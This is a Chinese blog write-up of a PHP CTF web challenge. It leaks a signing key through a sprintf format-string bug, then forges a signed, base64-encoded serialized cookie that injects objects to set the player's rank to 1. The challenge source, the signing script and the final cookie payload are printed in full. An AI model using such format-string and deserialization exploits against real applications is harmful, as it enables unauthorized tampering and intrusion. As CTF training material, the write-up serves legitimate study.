2020 HGAME WEB_Week3 [序列之争]

后面wp篇幅有些长,分开写了。

序列之争

涉及内容
PHP反序列化漏洞
PHP格式化字符串漏洞
代码审计

打开页面发现是一个刀剑神域的小游戏,输入姓名可以开始。
(果然打CTF的都是死肥宅)
初始界面
先随便输个姓名,进入游戏界面。
游戏页面
还有个人信息一栏:
个人信息
随便尝试了一下这个小游戏,表面上的逻辑很简单,打怪即可获取经验,然后排名会上升,但是上升到第2名就无论如何都不会上升了,显然需要一些其他手段来提升到第1名。看看页面源码,尝试找找线索。
发现注释提示
源码提示
拉到本地,发现是题目源码。贴出来如下:
cardinal.php

//cardinal.php
<?php
error_reporting(0);
session_start();

class Game
{   
    private $encryptKey = 'SUPER_SECRET_KEY_YOU_WILL_NEVER_KNOW';
    public $welcomeMsg = '%s, Welcome to Ordinal Scale!';

    private $sign = '';
    public $rank;

    public function __construct($playerName){
        $_SESSION['player'] = $playerName;          //为session创建player
        if(!isset($_SESSION['exp'])){
            $_SESSION['exp'] = 0;                   //设定初始经验
        }
        $data = [$playerName, $this->encryptKey];   
        $this->init($data);
        $this->monster = new Monster($this->sign);
        $this->rank = new Rank();
    }

    private function init($data){
        foreach($data as $key => $value){
            $this->welcomeMsg = sprintf($this->welcomeMsg, $value);     //欢迎信息
            $this->sign .= md5($this->sign . $value);
        }
    }
}

class Rank
{
    private $rank;
    private $serverKey;     // 服务器的 Key
    private $key = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx';

    public function __construct(){
        if(!isset($_SESSION['rank'])){
            $this->Set(rand(2, 1000));          //如果不存在就随机设定rand
            return;
        }

        $this->Set($_SESSION['rank']);          //存在的话就设定session里的rank
    }

    public function Set($no){
        $this->rank = $no;                      //rank的赋值函数
    }

    public function Get(){
        return $this->rank;                     //获取rank值
    }

    public function Fight($monster){
        if($monster['no'] >= $this->rank){
            $this->rank -= rand(5, 15);         //赢了则前进随机5-15名
            if($this->rank <= 2){
                $this->rank = 2;                //第二名则不前进
            }

            $_SESSION['exp'] += rand(20, 200);  //随机加经验
            return array(
                'result' => true, 
                'msg' => '<span style="color:green;">Congratulations! You win! </span>'
            );
        }else{
            return array(
                'result' => false, 
                'msg' => '<span style="color:red;">You die!</span>'
            );
        }
    }

//     public function __destruct(){
//         // 确保程序是跑在服务器上的!
//         $this->serverKey = $_SERVER['key'];
//         if($this->key === $this->serverKey){
//             $_SESSION['rank'] = $this->rank;
//         }else{
//             // 非正常访问
//             session_start();
//             session_destroy();
//             setcookie('monster', '');
//             header('Location: index.php');
//             exit;
//         }
//     }
}

class Monster
{
    private $monsterData;
    private $encryptKey;

    public function __construct($key){
        $this->encryptKey = $key;                   
        if(!isset($_COOKIE['monster'])){            //如果不存在怪兽就新set一个
            $this->Set();
            return;
        }

        $monsterData = base64_decode($_COOKIE['monster']);         //对cookie进行base64解码
        if(strlen($monsterData) > 32){ 
            $sign = substr($monsterData, -32);                      //sign是后32位
            $monsterData = substr($monsterData, 0, strlen($monsterData) - 32);      
            echo "<br/>".$sign."<br/>".$monsterData."<br/>".md5($monsterData . $this->encryptKey);
            if(md5($monsterData . $this->encryptKey) === $sign){
                $this->monsterData = unserialize($monsterData);                 //逆序列化怪兽信息数组
            }else{
                session_start();
                session_destroy();
                setcookie('monster', '');
                header('Location: index.php');
                exit;
            }
        }
        
        $this->Set();     
    }

    public function Set(){
        $monsterName = ['无名小怪', 'BOSS: The Kernal Cosmos', '小怪: Big Eggplant', 'BOSS: The Mole King', 'BOSS: Zero Zone Witch'];
        $this->monsterData = array(
            'name' => $monsterName[array_rand($monsterName, 1)],            //随机生成小怪
            'no' => rand(1, 2000),
        );
        $this->Save();
    }

    public function Get(){
        return $this->monsterData;                      //获取怪兽信息
    }

    private function Save(){
        $sign = md5(serialize($this->monsterData) . $this->encryptKey);
        setcookie('monster', base64_encode(serialize($this->monsterData) . $sign)); 
    }
}

game.php

<!-- game.php -->
<?php
    error_reporting(0);
    include_once('cardinal.php');
    if(isset($_SESSION['player'])){
        $playerName = $_SESSION['player'];
    }else{
        $playerName = $_POST['player'] ?? '';
        if($playerName === '' || is_array($playerName)){
            header('Location: index.php');
            exit;
        }
    }

    $game = new Game($playerName);
?>
<html lang="en"><head>
    <meta charset="utf-8">
    <title>Ordinal Scale · 序列之争</title>
    <!-- Bootstrap core CSS -->
    <link href="/static/bootstrap.min.css" rel="stylesheet"></link>

    <style>
      .bd-placeholder-img {
        font-size: 1.125rem;
        text-anchor: middle;
        -webkit-user-select: none;
        -moz-user-select: none;
        -ms-user-select: none;
        user-select: none;
      }

      @media (min-width: 768px) {
        .bd-placeholder-img-lg {
          font-size: 3.5rem;
        }
      }
    </style>
    <link href="/static/cover.css" rel="stylesheet">
  </head>
  <body class="text-center" style="background-image:url('/static/bg.jpg')">
    <div class="cover-container d-flex w-100 h-100 p-3 mx-auto flex-column">
  <header class="masthead mb-auto">
    <div class="inner">
      <h3 class="masthead-brand">Ordinal Scale</h3>
      <nav class="nav nav-masthead justify-content-center">
        <span class="nav-link active"><b>当前排名: <?php echo($game->rank->Get());?></b></span>
        <span class="nav-link active">经验: <?php echo($_SESSION['exp']);?></span>
        <a class="nav-link" href="#">登出</a>
      </nav>
    </div>
  </header>

  <main role="main" class="inner cover">
    <h2 class="cover-heading"><?php echo($game->welcomeMsg);?></h2>
    <h1># <?php echo($game->rank->Get());?></h1>
    <?php if($game->rank->Get() === 1){?>
        <h2>hgame{flag_is_here}</h2>
    <?php }?>
    <br>
    <div class="card" style="color: #007bff;">
        <h2 class="card-header"><?php echo($game->monster->Get()['name']);?></h2>
        <div class="card-body">
            <h5 class="card-title">等级: <?php echo($game->monster->Get()['no']);?></h5>
            <h5>
            <?php if(isset($_POST['battle'])){
                $fight = $game->rank->Fight($game->monster->Get());
                echo($fight['msg']);

                if(!$fight['result']){
                    $_SESSION['player'] = NULL;
                }
            }
                $game->monster->Set();
            ?>
            </h5>
            <form method="POST" action="">
                <input type="hidden" name="battle" value="1"></input>
                <br><br>
                <?php if(isset($_POST['battle']) && !$fight['result']){?>
                    <button class="btn">退出</button>
                <?php }else{?>
                    <button class="btn btn-primary">挑战!</button>
                <?php } ?>
            </form>
        </div>
    </div>

  </main>

 <?php include_once('template/footer.php');?>

(里面有些注释是我看的时候顺便加的,不是原本就有,还有一个检查是否在服务器上运行的模块,被我注释掉了)
代码很长,具体的请自行分析,我这里只简单总结一下:
$Game->rank->Get()返回值等于1时,输出Flag,但是发现源码中有这个限制:

if($this->rank <= 2){$this->rank = 2;}

通过游戏并不可能达到1。
另外发现存在一个反序列化的点:

if(md5($monsterData . $this->encryptKey) === $sign){
	$this->monsterData = unserialize($monsterData);}

显然是通过这个反序列化的点,通过对象注入覆盖原本的值,使rank等于1。
至于这个$monsterData的值,是从cookie中得到的,源码中也给出了cookie的构造,所以cookie也就是payload的注入点。
详细可以见我另一篇博客的0x01部分。[传送门]
但是还有前面的if条件必须想办法解决,要么绕过,要么必须想办法得到$encryptKey。又发现可疑的点:

private function init($data){
        foreach($data as $key => $value){
            $this->welcomeMsg = sprintf($this->welcomeMsg, $value);     
            $this->sign .= md5($this->sign . $value);                   
        }
    }

$data里面存在$encryptKey的值,但是是这个数组里的第二组值,而第一次%s被输入的名字置换以后,第二组键值不会被再抛出。解决办法很简单,如果名字含有%s,那么第二组键值也会被置换在欢迎信息中,从而得到$encryptKey
名字写上shabi%s,页面输出:
页面输出
得到加密用的key为gkUFUa7GfPQui3DGUTHX6XIUS3ZAmClL
第一个问题解决了,接下来先计算个人签名。鉴于源码已经给了,就不用费力分析签名是怎么来的了,直接改一下源码在本地运行:

//计算个人签名
class Game
{
    private $encryptKey = 'gkUFUa7GfPQui3DGUTHX6XIUS3ZAmClL';	//替换成得到的Key
    public $welcomeMsg = '%s, Welcome to Ordinal Scale!';
    
    private $sign = '';
    public $rank;
    
    public function __construct($playerName){
        
        $data = [$playerName, $this->encryptKey];
        $this->init($data);
        $this->monster = new Monster($this->sign);
        $this->rank = new Rank();
    }
    
    private function init($data){
        foreach($data as $key => $value){
            $this->welcomeMsg = sprintf($this->welcomeMsg, $value);     //欢迎信息
            $this->sign .= md5($this->sign . $value);
        }
        echo $this->sign;		//自己加的一句  输出签名
    }
}
$new = new Game('shabi');

得到个人签名:414c7ad55625f289003613764448a05573b610f5c306a5e8129542d1b4789cdf
接下来就是计算cookie了。
根据源码中的计算方法,构造代码:

<?php
$seria = 'O:4:"Game":5:{S:16:"\00Game\00encryptKey";s:32:"gkUFUa7GfPQui3DGUTHX6XIUS3ZAmClL";s:10:"welcomeMsg";s:32:"shabi, Welcome to Ordinal Scale!";S:10:"\00Game\00sign";s:64:"414c7ad55625f289003613764448a05573b610f5c306a5e8129542d1b4789cdf";s:4:"rank";O:4:"Rank":3:{S:10:"\00Rank\00rank";i:1;}s:7:"monster";O:7:"Monster":2:{S:20:"\00Monster\00monsterData";a:2:{s:4:"name";s:7:"bigboss";s:2:"no";i:1;}S:19:"\00Monster\00encryptKey";s:64:"414c7ad55625f289003613764448a05573b610f5c306a5e8129542d1b4789cdf";}}';
$encryptKey = "414c7ad55625f289003613764448a05573b610f5c306a5e8129542d1b4789cdf";
$sign = md5($seria.$encryptKey);
$cookie = base64_encode($seria. $sign);
var_dump($GLOBALS);

至于序列化字符串,这里完全不需要自己构造,修改一下源码,在本地让它自行生成即可。将其中Rank改为1:O:4:"Rank":3:{S:10:"\00Rank\00rank";i:1;}
得到payload:

Tzo0OiJHYW1lIjo1OntTOjE2OiJcMDBHYW1lXDAwZW5jcnlwdEtleSI7czozMjoiZ2tVRlVhN0dmUFF1aTNER1VUSFg2WElVUzNaQW1DbEwiO3M6MTA6IndlbGNvbWVNc2ciO3M6MzI6InNoYWJpLCBXZWxjb21lIHRvIE9yZGluYWwgU2NhbGUhIjtTOjEwOiJcMDBHYW1lXDAwc2lnbiI7czo2NDoiNDE0YzdhZDU1NjI1ZjI4OTAwMzYxMzc2NDQ0OGEwNTU3M2I2MTBmNWMzMDZhNWU4MTI5NTQyZDFiNDc4OWNkZiI7czo0OiJyYW5rIjtPOjQ6IlJhbmsiOjM6e1M6MTA6IlwwMFJhbmtcMDByYW5rIjtpOjE7fXM6NzoibW9uc3RlciI7Tzo3OiJNb25zdGVyIjoyOntTOjIwOiJcMDBNb25zdGVyXDAwbW9uc3RlckRhdGEiO2E6Mjp7czo0OiJuYW1lIjtzOjc6ImJpZ2Jvc3MiO3M6Mjoibm8iO2k6MTt9UzoxOToiXDAwTW9uc3RlclwwMGVuY3J5cHRLZXkiO3M6NjQ6IjQxNGM3YWQ1NTYyNWYyODkwMDM2MTM3NjQ0NDhhMDU1NzNiNjEwZjVjMzA2YTVlODEyOTU0MmQxYjQ3ODljZGYiO319OTE3YWVhZjkxNGM2M2YwMTYzYWE3ZTM0NTg1ZTMwYzI=

回到游戏页面,把cookie改成我们计算出的值:
cookie
重新挑战,得到发现自己是第一了 (^ - ^)
第一名
最后要不是出题人自己说我都没发现这题还有彩蛋,页面右上角的登出键点击后无法登出,完全符合刀剑原著,点个赞,老二次元了~

(个人整理,如有错误欢迎指正)

  • 2
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 4
    评论
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值